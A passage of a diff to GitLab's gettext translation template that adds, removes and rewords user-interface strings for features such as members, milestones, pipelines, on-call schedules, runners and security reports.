-
-msgid "Map a Google Code user to a GitLab user"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full email address"
-msgstr ""
-
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16245,7 +16618,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16257,7 +16630,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16305,6 +16678,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16329,9 +16705,6 @@ msgstr ""
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16488,7 +16861,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16524,9 +16900,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16536,12 +16921,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16560,6 +16954,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16611,6 +17008,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16662,6 +17062,9 @@ msgstr ""
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17218,6 +17621,9 @@ msgstr ""
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17323,6 +17729,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
+msgid "Milestones|No milestones found"
+msgstr ""
+
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -17356,12 +17765,6 @@ msgstr ""
msgid "Minimum interval in days"
msgstr ""
-msgid "Minimum length is %{minimum_password_length} characters"
-msgstr ""
-
-msgid "Minimum length is %{minimum_password_length} characters."
-msgstr ""
-
msgid "Minimum password length (number of characters)"
msgstr ""
@@ -17419,7 +17822,7 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
-msgid "MissingSSHKeyWarningLink|You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
msgid "ModalButton|Add projects"
@@ -17515,6 +17918,9 @@ msgstr ""
msgid "Move selection up"
msgstr ""
+msgid "Move test case"
+msgstr ""
+
msgid "Move this issue to another project."
msgstr ""
@@ -17642,6 +18048,9 @@ msgid_plural "NamespaceStorageSize|You have reached the free storage limit of %{
msgstr[0] ""
msgstr[1] ""
+msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To learn more about reducing storage capacity please visit our docs."
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -17675,6 +18084,9 @@ msgstr ""
msgid "Need help?"
msgstr ""
+msgid "Needs"
+msgstr ""
+
msgid "Needs attention"
msgstr ""
@@ -17900,7 +18312,7 @@ msgstr ""
msgid "New"
msgstr ""
-msgid "New %{display_issuable_type}"
+msgid "New %{issueType}"
msgstr ""
msgid "New Application"
@@ -18052,6 +18464,9 @@ msgstr ""
msgid "New response for issue #%{issue_iid}:"
msgstr ""
+msgid "New runner. Has not connected yet"
+msgstr ""
+
msgid "New runners registration token has been generated!"
msgstr ""
@@ -18157,9 +18572,6 @@ msgstr ""
msgid "No containers available"
msgstr ""
-msgid "No content to show"
-msgstr ""
-
msgid "No contributions"
msgstr ""
@@ -18343,9 +18755,6 @@ msgstr ""
msgid "No worries, you can still use all the %{strong}%{plan_name}%{strong_close} features for now. You have %{remaining_days} to renew your subscription."
msgstr ""
-msgid "No, directly import the existing email addresses and usernames."
-msgstr ""
-
msgid "No. of commits"
msgstr ""
@@ -18382,6 +18791,9 @@ msgstr ""
msgid "Not all data has been processed yet, the accuracy of the chart for the selected timeframe is limited."
msgstr ""
+msgid "Not applicable to personal namespaced projects, which are deleted immediately on request."
+msgstr ""
+
msgid "Not available"
msgstr ""
@@ -18400,6 +18812,9 @@ msgstr ""
msgid "Not found."
msgstr ""
+msgid "Not permitted to destroy framework"
+msgstr ""
+
msgid "Not ready yet. Try again later."
msgstr ""
@@ -18412,6 +18827,9 @@ msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
+msgid "Note that pushing to GitLab requires write access to this repository."
+msgstr ""
+
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -18451,6 +18869,9 @@ msgstr ""
msgid "Notes|This comment has changed since you started editing, please review the %{open_link}updated comment%{close_link} to ensure information is not lost"
msgstr ""
+msgid "Notes|You're only seeing %{boldStart}other activity%{boldEnd} in the feed. To add a comment, switch to one of the following options."
+msgstr ""
+
msgid "Nothing found…"
msgstr ""
@@ -18487,9 +18908,15 @@ msgstr ""
msgid "NotificationEvent|Fixed pipeline"
msgstr ""
+msgid "NotificationEvent|Issue due"
+msgstr ""
+
msgid "NotificationEvent|Merge merge request"
msgstr ""
+msgid "NotificationEvent|Moved project"
+msgstr ""
+
msgid "NotificationEvent|New epic"
msgstr ""
@@ -18505,6 +18932,9 @@ msgstr ""
msgid "NotificationEvent|New release"
msgstr ""
+msgid "NotificationEvent|Push to merge request"
+msgstr ""
+
msgid "NotificationEvent|Reassign issue"
msgstr ""
@@ -18514,6 +18944,9 @@ msgstr ""
msgid "NotificationEvent|Reopen issue"
msgstr ""
+msgid "NotificationEvent|Reopen merge request"
+msgstr ""
+
msgid "NotificationEvent|Successful pipeline"
msgstr ""
@@ -18640,6 +19073,33 @@ msgstr ""
msgid "On track"
msgstr ""
+msgid "On-call Schedules"
+msgstr ""
+
+msgid "On-call schedules"
+msgstr ""
+
+msgid "OnCallSchedules|Add a schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Create on-call schedules in GitLab"
+msgstr ""
+
+msgid "OnCallSchedules|Failed to add schedule"
+msgstr ""
+
+msgid "OnCallSchedules|Route alerts directly to specific members of your team"
+msgstr ""
+
+msgid "OnCallSchedules|Select timezone"
+msgstr ""
+
+msgid "OnCallSchedules|Sets the default timezone for the schedule, for all participants"
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -18655,9 +19115,6 @@ msgstr ""
msgid "OnDemandScans|Create a new site profile"
msgstr ""
-msgid "OnDemandScans|Create new DAST scan"
-msgstr ""
-
msgid "OnDemandScans|Manage profiles"
msgstr ""
@@ -18682,9 +19139,6 @@ msgstr ""
msgid "OnDemandScans|Scanner profile"
msgstr ""
-msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
-msgstr ""
-
msgid "OnDemandScans|Select one of the existing profiles"
msgstr ""
@@ -18697,6 +19151,12 @@ msgstr ""
msgid "OnDemandScans|Use existing site profile"
msgstr ""
+msgid "OnDemandScans|You can either choose a passive scan or validate the target site in your chosen site profile. %{docsLinkStart}Learn more about site validation.%{docsLinkEnd}"
+msgstr ""
+
+msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
+msgstr ""
+
msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
@@ -18706,7 +19166,7 @@ msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
msgstr ""
-msgid "Once removed, the fork relationship cannot be restored and you will no longer be able to send merge requests to the source."
+msgid "Once removed, the fork relationship cannot be restored. This project will no longer be able to receive or send merge requests to the source project or other forks."
msgstr ""
msgid "Once the exported file is ready, you will receive a notification email with a download link, or you can download it from this page."
@@ -18729,9 +19189,6 @@ msgstr ""
msgid "One or more of your %{provider} projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
msgstr ""
-msgid "One or more of your Google Code projects cannot be imported into GitLab directly because they use Subversion or Mercurial for version control, rather than Git."
-msgstr ""
-
msgid "One or more of your dependency files are not supported, and the dependency list may be incomplete. Below is a list of supported file types."
msgstr ""
@@ -18813,6 +19270,9 @@ msgstr ""
msgid "Open raw"
msgstr ""
+msgid "Open registration is enabled on your instance."
+msgstr ""
+
msgid "Open sidebar"
msgstr ""
@@ -18879,9 +19339,6 @@ msgstr ""
msgid "Optionally, you can %{link_to_customize} how FogBugz email addresses and usernames are imported into GitLab."
msgstr ""
-msgid "Optionally, you can %{link_to_customize} how Google Code email addresses and usernames are imported into GitLab."
-msgstr ""
-
msgid "Options"
msgstr ""
@@ -18927,6 +19384,9 @@ msgstr ""
msgid "Outdent"
msgstr ""
+msgid "Overall Activity"
+msgstr ""
+
msgid "Overridden"
msgstr ""
@@ -19083,6 +19543,9 @@ msgstr ""
msgid "PackageRegistry|For more information on the PyPi registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
+msgid "PackageRegistry|Generic"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -19197,6 +19660,9 @@ msgstr ""
msgid "PackageType|Conan"
msgstr ""
+msgid "PackageType|Generic"
+msgstr ""
+
msgid "PackageType|Maven"
msgstr ""
@@ -19221,9 +19687,6 @@ msgstr ""
msgid "Page settings"
msgstr ""
-msgid "Page was successfully deleted"
-msgstr ""
-
msgid "PagerDutySettings|Active"
msgstr ""
@@ -19488,6 +19951,9 @@ msgstr ""
msgid "Pipeline minutes quota"
msgstr ""
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
msgid "Pipeline subscriptions"
msgstr ""
@@ -19596,9 +20062,6 @@ msgstr ""
msgid "Pipelines|CI Lint"
msgstr ""
-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19644,6 +20107,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19656,6 +20122,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19665,6 +20134,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19890,6 +20365,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19899,9 +20377,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -20064,18 +20539,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -20085,9 +20554,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -20109,9 +20575,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20166,6 +20629,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20295,6 +20761,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20304,6 +20788,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20334,6 +20821,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20691,9 +21181,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20946,7 +21433,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20988,6 +21478,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -21048,9 +21541,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -21072,6 +21562,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21141,6 +21637,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
